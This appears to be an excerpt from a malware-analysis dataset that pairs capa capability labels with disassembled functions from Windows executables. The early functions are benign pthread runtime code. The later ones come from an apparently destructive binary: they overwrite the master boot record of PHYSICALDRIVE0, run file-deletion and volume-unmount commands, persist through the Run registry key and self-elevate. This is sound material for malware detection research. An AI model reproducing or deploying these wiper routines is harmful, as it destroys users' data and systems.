joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140019080
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x48
cmp dword [0x140027da0], 1
je 0x140019097
call sym._pthread_once_raw.part.0.constprop.0.isra.0
mov ecx, dword [0x14001e4b8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r12, rax
test rax, rax
je 0x1400190c0
mov rax, r12
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop r12
ret
call sym.pop_pthread_mem
cmp qword [sym.__dyn_tls_pthread], 0
mov rbx, rax
je 0x1400190ab
test rax, rax
je 0x1400190ab
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor ecx, ecx
xor r9d, r9d
xor r8d, r8d
mov dword [rbx + 0x70], eax
mov edx, 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x38], 0xffffffffffffffff
lea rcx, [rbx + 0x68]
mov qword [rbx + 0x30], rax
call dbg.pthread_spin_destroy
cmp eax, 1
je 0x1400191ca
mov rdi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbx + 0x68], 0xffffffffffffffff
mov dword [rbx + 0xb8], 0
mov qword [rbx + 0x28], 0
call rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov r12, rax
call rdi
mov dword [rsp + 0x30], 2
mov r8, rsi
mov rdx, r12
mov dword [rsp + 0x28], 0
mov rcx, rax
lea r9, [rbx + 0x28]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je sym.__pthread_self_lite.cold
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov ecx, dword [0x14001e4b8]
mov rdx, rbx
mov dword [rbx + 0xbc], 0
mov dword [rbx + 0xc0], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je sym.__pthread_self_lite.cold
mov r12, rbx
mov rax, r12
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop r12
ret
call sym.replace_spin_keys.part.0
nop
Function at 0x1400191d0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r14
push r13
push r12
sub rsp, 0x20
test edx, edx
jne 0x140019200
test r8, r8
je 0x1400192c0
mov eax, 1
add rsp, 0x20
pop r12
pop r13
pop r14
ret
cmp edx, 1
je 0x1400192f0
cmp edx, 3
jne 0x1400191e7
mov ecx, dword [0x14001e4b8]
cmp ecx, 0xffffffff
je 0x1400191e7
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r12, rax
test rax, rax
je 0x1400191e7
test byte [rax + 0x40], 0x30
je 0x140019320
mov rcx, qword [rax + 0x1d8]
test rcx, rcx
je 0x140019242
call sym._pthread_cleanup_dest.part.0
mov rcx, qword [r12 + 0x28]
test rcx, rcx
je 0x140019275
mov r13, qword [sym.imp.KERNEL32.dll_CloseHandle]
call r13
mov rcx, qword [r12 + 0x30]
test rcx, rcx
je 0x140019263
call r13
mov qword [r12 + 0x30], 0
mov qword [r12 + 0x28], 0
lea rcx, [r12 + 0x38]
call dbg.pthread_mutex_destroy
lea rcx, [r12 + 0x68]
call dbg.pthread_spin_destroy
cmp eax, 1
je 0x1400193b4
cmp qword [r12 + 0x1d0], 0
mov qword [r12 + 0x68], 0xffffffffffffffff
je 0x140019420
mov ecx, dword [0x14001e4b8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
jmp 0x1400191e7
mov rcx, qword [0x140027d60]
test rcx, rcx
je 0x1400191e7
call qword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
mov qword [0x140027d60], 0
jmp 0x1400191e7
lea rdx, [dbg.SetThreadName_VEH]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov qword [0x140027d60], rax
mov eax, 1
add rsp, 0x20
pop r12
pop r13
pop r14
ret
mov rcx, qword [rax + 0x30]
mov eax, dword [rax + 0xbc]
test eax, eax
jne 0x1400193c0
test rcx, rcx
je 0x14001933d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [r12 + 0x1d8]
mov qword [r12 + 0x30], 0
mov dword [r12 + 0xbc], 1
test rcx, rcx
je 0x140019364
call sym._pthread_cleanup_dest.part.0
lea r14, [r12 + 0x38]
lea r13, [r12 + 0x68]
test byte [r12 + 0x44], 4
je 0x140019400
mov rcx, qword [r12 + 0x28]
mov dword [r12], 0xdeadbeef
test rcx, rcx
je 0x140019392
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [r12 + 0x28], 0
mov rcx, r14
call dbg.pthread_mutex_destroy
mov rcx, r13
call dbg.pthread_spin_destroy
cmp eax, 1
jne 0x140019292
call sym.replace_spin_keys.part.0
nop dword [rax]
test rcx, rcx
je 0x1400193cb
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [r12 + 0x30], 0
lea rcx, [r12 + 0x38]
call dbg.pthread_mutex_destroy
lea rcx, [r12 + 0x68]
call dbg.pthread_spin_destroy
cmp eax, 1
je 0x1400193b4
mov qword [r12 + 0x68], 0xffffffffffffffff
jmp 0x1400191e7
mov rcx, r14
call dbg.pthread_mutex_destroy
mov rcx, r13
call dbg.pthread_spin_destroy
cmp eax, 1
jne 0x1400193ed
jmp 0x1400193b4
mov rcx, r12
call sym.push_pthread_mem.part.0
jmp 0x1400192aa
Function at 0x14001a0d0
Capabilities:
Hijack thread execution

Disassembly:
push r13
push r12
push rsi
push rbx
sub rsp, 0x4f8
mov rsi, rcx
test rcx, rcx
je 0x14001a1be
lea r12, [0x14001e4a8]
mov rcx, r12
call dbg.pthread_mutex_lock
mov rcx, rsi
call dbg.__pthread_get_pointer
mov rcx, r12
mov rbx, rax
call dbg.pthread_mutex_unlock
test rbx, rbx
je 0x14001a1be
mov rcx, qword [rbx + 0x28]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14001a1be
lea r12, [rsp + 0x20]
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x14001a1be
lea r13, [rbx + 0x38]
mov rcx, r13
call dbg.pthread_mutex_lock
call sym.__pthread_self_lite
test rax, rax
je 0x14001a15b
cmp rsi, qword [rax + 0x1d8]
je 0x14001a1d8
mov edx, dword [rbx + 0x44]
movzx eax, byte [rbx + 0x40]
and edx, 3
cmp edx, 3
je 0x14001a230
test al, 3
jne 0x14001a1b0
and eax, 0xfffffffc
or eax, 1
mov byte [rbx + 0x40], al
lock add dword [0x140027da8], 1
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x14001a192
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rcx, r13
call dbg.pthread_mutex_unlock
xor eax, eax
add rsp, 0x4f8
pop rbx
pop rsi
pop r12
pop r13
ret
mov rcx, r13
call dbg.pthread_mutex_unlock
test byte [rbx + 0x40], 0xc
je 0x14001a19a
mov eax, 3
add rsp, 0x4f8
pop rbx
pop rsi
pop r12
pop r13
ret
movzx eax, byte [rbx + 0x40]
test al, 3
jne 0x14001a1b0
and eax, 0xfffffffc
or eax, 1
mov byte [rbx + 0x40], al
lock add dword [0x140027da8], 1
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x14001a200
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, dword [rbx + 0x44]
mov edx, eax
and edx, 3
cmp edx, 3
jne 0x14001a192
and eax, 0xfffffffe
mov rcx, r13
mov dword [rbx + 0x44], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xfffffff3
or eax, 4
mov byte [rbx + 0x40], al
call dbg.pthread_mutex_unlock
call dbg._pthread_invoke_cancel
nop dword [rax]
test al, 0xc
jne 0x14001a1b0
test al, 0xf
jne 0x14001a1be
mov rcx, qword [rbx + 0x28]
mov dword [rsp + 0x50], 0x100001
call qword [sym.imp.KERNEL32.dll_SuspendThread]
xor edx, edx
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x14001a192
mov rcx, qword [rbx + 0x28]
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rax, [dbg._pthread_invoke_cancel]
mov rcx, qword [rbx + 0x28]
mov rdx, r12
mov qword [rsp + 0x118], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
movzx eax, byte [rbx + 0x40]
and dword [rbx + 0x44], 0xfffffffe
and eax, 0xfffffff0
or eax, 5
mov byte [rbx + 0x40], al
lock add dword [0x140027da8], 1
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x14001a2b6
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rcx, r13
call dbg.pthread_mutex_unlock
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x14001a192
Function at 0x14001a2d0
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push r13
push r12
push rbx
sub rsp, 0x20
lea r13, [0x14001e4a8]
mov r12, rcx
mov rcx, r13
mov ebx, edx
call dbg.pthread_mutex_lock
mov rcx, r12
call dbg.__pthread_get_pointer
test rax, rax
je 0x14001a350
cmp qword [rax + 0x1d8], r12
jne 0x14001a350
test byte [rax + 0x40], 0xc
jne 0x14001a350
mov edx, dword [rax + 0xbc]
test edx, edx
jne 0x14001a350
mov rax, qword [rax + 0x28]
sub rax, 1
cmp rax, 0xfffffffffffffffd
ja 0x14001a350
mov rcx, r13
call dbg.pthread_mutex_unlock
test ebx, ebx
je 0x14001a370
lea edx, [rbx - 2]
cmp edx, 0x15
ja 0x14001a378
mov rcx, r12
add rsp, 0x20
pop rbx
pop r12
pop r13
jmp dbg.pthread_cancel
mov rcx, r13
call dbg.pthread_mutex_unlock
mov eax, 3
add rsp, 0x20
pop rbx
pop r12
pop r13
ret
xor eax, eax
jmp 0x14001a35d
mov eax, 0x16
jmp 0x14001a35d
Function at 0x14001a620
Capabilities:
Create thread
Resume thread

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rdi, rcx
mov rsi, rdx
mov rbx, r8
mov rbp, r9
call sym.pop_pthread_mem
mov r12, rax
test rax, rax
je 0x14001a889
test rdi, rdi
je 0x14001a65a
mov rax, qword [rax + 0x1d8]
mov qword [rdi], rax
mov r13, qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [r12 + 8], rbp
mov dword [r12 + 0x44], 1
mov rbp, qword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [r12 + 0xbc], 0
mov r14, r13
mov qword [r12 + 0x28], 0xffffffffffffffff
mov qword [r12 + 0x10], rbx
xor ebx, ebx
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call rbp
mov qword [r12 + 0x30], rax
test rax, rax
jne 0x14001a6c7
add ebx, 1
cmp ebx, 1
je 0x14001a7d0
mov ecx, 0x14
call r14
cmp ebx, 5
jne 0x14001a695
mov qword [r12 + 0x38], 0xffffffffffffffff
lea r14, [r12 + 0x68]
mov rcx, r14
call dbg.pthread_spin_destroy
cmp eax, 1
je 0x14001a8ca
cmp qword [r12 + 0x30], 0
mov qword [r12 + 0x68], 0xffffffffffffffff
mov dword [r12], 0xbab1f00d
mov dword [r12 + 0xc0], 0
mov dword [r12 + 0xb8], 0
je 0x14001a872
xor edx, edx
test rsi, rsi
je 0x14001a73f
mov eax, dword [rsi]
mov edx, dword [rsi + 0x10]
mov dword [r12 + 0x44], eax
test al, 8
jne 0x14001a8a0
mov eax, dword [rsi + 0x18]
mov dword [r12 + 0xc0], eax
lea r8, [dbg.pthread_create_wrapper]
mov r9, r12
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
call qword [sym.imp.msvcrt.dll__beginthreadex]
mov r13, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14001a830
mov eax, dword [r12 + 0xc0]
mov edx, 0xfffffff1
cmp eax, 0xfffffff2
jge 0x14001a800
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rcx, qword [r12 + 0x30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
test byte [r12 + 0x44], 4
jne 0x14001a7e0
mov qword [r12 + 0x28], r13
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
xor ecx, ecx
call r13
jmp 0x14001a695
mov qword [r12 + 0x28], 0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14001a7af
mov edx, 0xfffffffe
cmp eax, 0xffffffff
jl 0x14001a785
mov edx, 2
cmp eax, edx
cmovle edx, eax
cmp eax, 0xf
mov eax, 0xf
cmovge edx, eax
jmp 0x14001a785
mov rcx, qword [r12 + 0x30]
test rcx, rcx
je 0x14001a840
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [r12 + 0x38]
call dbg.pthread_mutex_destroy
mov rcx, r14
call dbg.pthread_spin_destroy
cmp eax, 1
je 0x14001a8ca
mov qword [r12 + 0x68], 0xffffffffffffffff
mov qword [r12 + 0x30], 0
mov qword [r12 + 0x28], 0
test rdi, rdi
je 0x14001a87e
mov qword [rdi], 0
cmp qword [r12 + 0x1d0], 0
je 0x14001a8c0
mov eax, 0xb
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov dword [rsp + 0x3c], edx
call sym.__pthread_self_lite
mov edx, dword [rsp + 0x3c]
mov eax, dword [rax + 0xc0]
mov dword [r12 + 0xc0], eax
jmp 0x14001a73f
mov rcx, r12
call sym.push_pthread_mem.part.0
jmp 0x14001a889
call sym.replace_spin_keys.part.0
nop
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x0048f330]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x0048f340]
mov dword [rax], 1
mov rax, qword [0x0048f350]
mov dword [rax], 1
mov rax, qword [0x0048f320]
mov dword [rax], 1
mov rax, qword [0x0048f1a0]
cmp word [rax], 0x5a4d
je 0x4010d0
mov rax, qword [0x0048f310]
mov dword [0x004aa008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010c2
mov ecx, 2
call sym.__set_app_type
mov rcx, 0xffffffffffffffff
call dbg._encode_pointer
mov rdx, qword [0x0048f250]
mov qword [rdx], rax
mov rdx, qword [0x0048f240]
mov qword [rdx], rax
mov rax, qword [0x0048f2d0]
mov edx, dword [rax]
mov rax, qword [sym.imp.msvcrt.dll__fmode]
mov rax, qword [rax]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x0048e8a0]
cmp dword [rax], 1
je 0x401120
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401133
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401540
Capabilities:
Overwrite master boot record (mbr)
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x258
xor eax, eax
mov ecx, 0x40
xor r9d, r9d
lea rdi, [rsp + 0x50]
mov r8d, 3
mov edx, 0xc0000000
lea rbp, [rsp + 0x50]
rep stosq qword [rdi], rax
mov rax, qword [0x004740c0]
mov byte [rsp + 0x24e], 0x55
lea rcx, str..PHYSICALDRIVE0
mov byte [rsp + 0x24f], 0xaa
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov qword [rsp + 0x50], rax
mov rax, qword [0x004740c8]
mov qword [rsp + 0x58], rax
mov rax, qword [0x004740d0]
mov qword [rsp + 0x60], rax
mov rax, qword [str.I_am_virus__Fuck_you_:__]
mov qword [rsp + 0x68], rax
mov rax, qword [0x004740e0]
mov qword [rsp + 0x70], rax
mov rax, qword [0x004740e8]
mov qword [rsp + 0x78], rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
mov rbx, rax
je 0x4016a0
lea rsi, [rsp + 0x4c]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x90018
mov rcx, rax
mov rdi, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call rdi
lea r9, [rsp + 0x48]
mov r8d, 0x200
mov rdx, rbp
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x9001c
mov rcx, rbx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x258
pop rbx
pop rsi
pop rdi
pop rbp
ret
jmp 0x40168d
Function at 0x4016b0
Capabilities:
Execute command
Self delete

Disassembly:
sub rsp, 0x28
lea rcx, str.del_C:users__r__f
call sym.system
lea rcx, str.mountvol_c:__d
call sym.system
xor eax, eax
add rsp, 0x28
ret

Function at 0x4016e0
Capabilities:
Set registry value

Disassembly:
push rsi
push rbx
sub rsp, 0x68
lea rax, [rsp + 0x58]
mov rsi, r9
mov rbx, r8
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
xor r9d, r9d
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x28], 0x20006
xor r8d, r8d
mov dword [rsp + 0x20], 0
mov rdx, qword [rdx]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov rax, qword [rsi]
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rax - 0x18]
mov qword [rsp + 0x20], rax
lea edx, [rdx + rdx + 2]
mov dword [rsp + 0x28], edx
mov rdx, qword [rbx]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
add rsp, 0x68
pop rbx
pop rsi
ret
Function at 0x401770
Capabilities:
Persist via run registry key

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x70
lea rdi, [rsp + 0x60]
lea rbx, [rsp + 0x50]
mov rsi, rcx
mov rcx, rdi
call method.std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.basic_string_std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const_
mov rdx, rsi
mov rcx, rbx
call method.std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.basic_string_std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____const_
lea rsi, [rsp + 0x40]
lea r8, [rsp + 0x3e]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, rsi
call method.std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.basic_string_wchar_t_const__std::allocator_wchar_t__const_
mov r9, rdi
mov r8, rbx
mov rdx, rsi
mov rcx, 0xffffffff80000001
call sym.WriteToRegedit_HKEY____std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t_____std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t_____std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____
mov r9, qword [rsp + 0x40]
mov edx, 0xffffffff
lock xadd dword [r9 - 8], edx
test edx, edx
jle 0x401810
mov r9, qword [rsp + 0x50]
mov edx, 0xffffffff
lock xadd dword [r9 - 8], edx
test edx, edx
jle 0x401830
mov r9, qword [rsp + 0x60]
mov edx, 0xffffffff
lock xadd dword [r9 - 8], edx
test edx, edx
jle 0x401850
add rsp, 0x70
pop rbx
pop rsi
pop rdi
ret
lea rdx, [rsp + 0x3f]
lea rcx, [r9 - 0x18]
mov byte [rsp + 0x2f], al
call method.std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::_Rep._M_destroy_std::allocator_wchar_t__const_
movzx eax, byte [rsp + 0x2f]
jmp 0x4017d9
lea rcx, [r9 - 0x18]
mov rdx, rsi
mov byte [rsp + 0x2f], al
call method.std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::_Rep._M_destroy_std::allocator_wchar_t__const_
movzx eax, byte [rsp + 0x2f]
jmp 0x4017ed
lea rcx, [r9 - 0x18]
mov rdx, rbx
mov byte [rsp + 0x2f], al
call method.std::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::_Rep._M_destroy_std::allocator_wchar_t__const_
movzx eax, byte [rsp + 0x2f]
add rsp, 0x70
pop rbx
pop rsi
pop rdi
ret

Function at 0x401a40
Capabilities:
Execute command

Disassembly:
push rdi
sub rsp, 0x430
xor eax, eax
lea rdi, [rsp + 0x30]
mov r10, rcx
mov ecx, pe_nt_image_headers64
mov r8, qword [r10]
mov r9, rdx
lea rdx, str.start__s__s__u
rep stosq qword [rdi], rax
mov eax, dword [global___val]
lea rdi, [rsp + 0x30]
mov rcx, rdi
mov dword [rsp + 0x20], eax
call dbg.sprintf(char*, char const*, ::)
mov rcx, rdi
call sym.system
nop
add rsp, 0x430
pop rdi
ret
Function at 0x401a90
Capabilities:
Print debug messages

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x98
mov rbp, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov rsi, rcx
mov edi, edx
call rbp
mov qword [rsp + 0x38], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov r8d, eax
mov ecx, 0x1f0fff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
lea r8, [rsp + 0x38]
mov rbx, rax
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x401b10
xor esi, esi
test rbx, rbx
je 0x401af2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x401b02
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor ecx, ecx
lea r8, [rsp + 0x30]
mov rdx, rsi
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x401ae2
mov rax, qword [rsp + 0x30]
cmp edi, 1
mov dword [rsp + 0x40], 1
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x44], rax
sbb eax, eax
xor edx, edx
add eax, 2
mov dword [rsp + 0x4c], eax
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x401bb0
lea rdi, [rsp + 0x50]
xor eax, eax
lea rsi, [rsp + 0x50]
mov ecx, 8
rep stosq qword [rdi], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.AdjustTokenPrivileges_error:__lu_n
mov rcx, rsi
mov r8d, eax
call dbg.sprintf(char*, char const*, ::)
mov rcx, rsi
call rbp
jmp 0x401ae2
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x514
je 0x401bd0
lea rcx, str.Set_OK
mov esi, 1
call rbp
jmp 0x401ae4
lea rcx, str.The_token_does_not_have_the_specified_privilege.__n
xor esi, esi
call rbp
jmp 0x401ae4
Function at 0x401e40
Capabilities:
Get hostname

Disassembly:
sub rsp, 0x28
lea rdx, [0x004740f4]
lea rcx, [0x004aa040]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
sete al
add rsp, 0x28
ret

Function at 0x401e70
Capabilities:
Create process on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x1a8
xor r8d, r8d
xor edx, edx
xor ecx, ecx
lea r9, str.29544E05_024F_4BC1_A272_452DBC8E17A4
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rbx, qword [sym.imp.KERNEL32.dll_GetLastError]
call rbx
test eax, eax
je 0x401eb0
xor eax, eax
add rsp, 0x1a8
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor ebp, ebp
lea rdi, [rsp + 0x90]
mov ecx, 0x20
mov rax, rbp
lea rsi, [rsp + 0x90]
mov r8d, 0x104
rep stosq qword [rdi], rax
mov rdx, rsi
mov dword [rdi], 0
lea rdi, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rax, rbp
mov ecx, 0xe
rep stosq qword [rdi], rax
lea rax, str.runas
mov dword [rsp + 0x20], 0x70
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x50], 1
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x30], rax
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x401f38
call rbx
cmp eax, 0x4c7
je 0x401e9c
cmp eax, 2
je 0x401e9c
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call sym.exit
nop
nop dword [rax + rax]

Function at 0x401f50
Capabilities:
Get token membership

Disassembly:
sub rsp, 0x88
mov r9d, 0x220
mov r8d, 0x20
mov edx, 2
lea rax, [rsp + 0x78]
mov byte [rsp + 0x70], 0
mov byte [rsp + 0x71], 0
mov byte [rsp + 0x72], 0
mov byte [rsp + 0x73], 0
lea rcx, [rsp + 0x70]
mov byte [rsp + 0x74], 0
mov byte [rsp + 0x75], 5
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
mov dword [rsp + 0x6c], eax
je 0x401ff4
lea r8, [rsp + 0x6c]
mov rdx, qword [rsp + 0x78]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x6c]
cmp eax, 1
sete al
add rsp, 0x88
ret